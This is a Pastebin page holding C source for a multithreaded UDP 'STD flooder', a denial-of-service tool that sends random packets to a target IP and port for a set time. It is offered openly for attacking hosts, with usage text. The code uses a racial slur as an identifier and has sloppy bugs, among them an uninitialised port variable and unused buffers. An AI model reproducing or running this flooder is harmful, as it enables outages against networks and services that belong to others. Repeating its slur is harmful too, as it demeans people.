Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* bangs so hard u might catch n std -#w00dy */
- #include <stdlib.h>
- #include <stdio.h>
- #include <strings.h>
- #include <limits.h>
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
- #include <time.h>
- #include <fcntl.h> // open function
- #include <pthread.h>
- #include <unistd.h> // close function
- #include <stdarg.h>
- #include <pthread.h>
- int MaxPsize=2048;
- static uint32_t x, y, z, w;
- void rand_init(void)
- {
- x = time(NULL);
- y = getpid() ^ getppid();
- z = clock();
- w = z ^ y;
- }
- uint32_t rand_next(void) //period 2^96-1
- {
- uint32_t t = x;
- t ^= t << 11;
- t ^= t >> 8;
- x = y; y = z; z = w;
- w ^= w >> 19;
- w ^= t;
- return w;
- }
- void rand_str(char *str, int len) // Generate random buffer (not alphanumeric!) of length len
- {
- while (len > 0)
- {
- if (len >= 4)
- {
- *((uint32_t *)str) = rand_next();
- str += sizeof (uint32_t);
- len -= sizeof (uint32_t);
- }
- else if (len >= 2)
- {
- *((uint16_t *)str) = rand_next() & 0xFFFF;
- str += sizeof (uint16_t);
- len -= sizeof (uint16_t);
- }
- else
- {
- *str++ = rand_next() & 0xFF;
- len--;
- }
- }
- }
- void rand_alphastr(uint8_t *str, int len) // Random alphanumeric string, more expensive than rand_str
- {
- const char alphaset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvw012345678";
- while (len > 0)
- {
- if (len >= sizeof (uint32_t))
- {
- int i;
- uint32_t entropy = rand_next();
- for (i = 0; i < sizeof (uint32_t); i++)
- {
- uint8_t tmp = entropy & 0xff;
- entropy = entropy >> 8;
- tmp = tmp >> 3;
- *str++ = alphaset[tmp];
- }
- len -= sizeof (uint32_t);
- }
- else
- {
- *str++ = rand_next() % (sizeof (alphaset));
- len--;
- }
- }
- }
- struct kekspackniggas {
- int payload_size;
- struct sockaddr_in sin;
- int sock;
- };
- void *woodyDaGoat(void *data){
- struct kekspackniggas *hi=(struct kekspackniggas *)data;
- struct sockaddr_in sin=hi->sin;
- char *payload=malloc(hi->payload_size+1);
- int i;
- srand(time(NULL));
- for(i=0;i<hi->payload_size;i++)payload[i]=rand()%850;
- while(1){
- char name_buf[32];
- int name_buf_len;
- rand_init();
- name_buf_len = ((rand_next() % 4) + 3) * 4;
- rand_alphastr(name_buf, name_buf_len);
- name_buf[name_buf_len] = 0;
- char *haxed = name_buf;
- send(hi->sock, haxed, hi->payload_size, 0);
- connect(hi->sock,(struct sockaddr *) &sin, sizeof(sin));
- }
- }
- int main(int argc, char**argv){
- if(argc!=6){
- printf("Threaded STD Flooder \n Woody Loves You! \n Usage: %s <IP> <PORT 0 for random> <THREADS> <PSIZE> <TIME>\n", argv[0]);
- exit(1);
- }
- if (atoi(argv[4]) > MaxPsize)
- {
- printf("Lower the packet size\nMax size: 2048\n");
- exit(1);
- }
- int randxport;
- int sock=socket(AF_INET,SOCK_DGRAM,0);
- struct sockaddr_in sin;
- bzero((char*) &sin,sizeof(sin));
- struct hostent *hp = gethostbyname(argv[1]);
- bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_addr.s_addr=inet_addr(argv[1]);
- uint32_t tmp;
- uint8_t o1;
- o1 = (tmp >> 8) & 0xff;
- int kek2;
- if (atoi(argv[2]) == 0) kek2 = o1;
- else kek2 = atoi(argv[2]);
- printf("%d\n", kek2);
- sin.sin_port=htons(kek2);
- pthread_t thread[atoi(argv[3])];
- struct kekspackniggas kek[atoi(argv[3])];
- int i;
- for(i=0;i<atoi(argv[3]);i++){
- printf("\e[31;1mStarting \e[32;1mThread\e[0;1m\n");
- kek[i].payload_size=atoi(argv[4]);
- kek[i].sin=sin;
- kek[i].sock=sock;
- pthread_create(&thread[i],NULL,&woodyDaGoat,(void *) &kek[i]);
- }
- sleep(atoi(argv[5]));
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment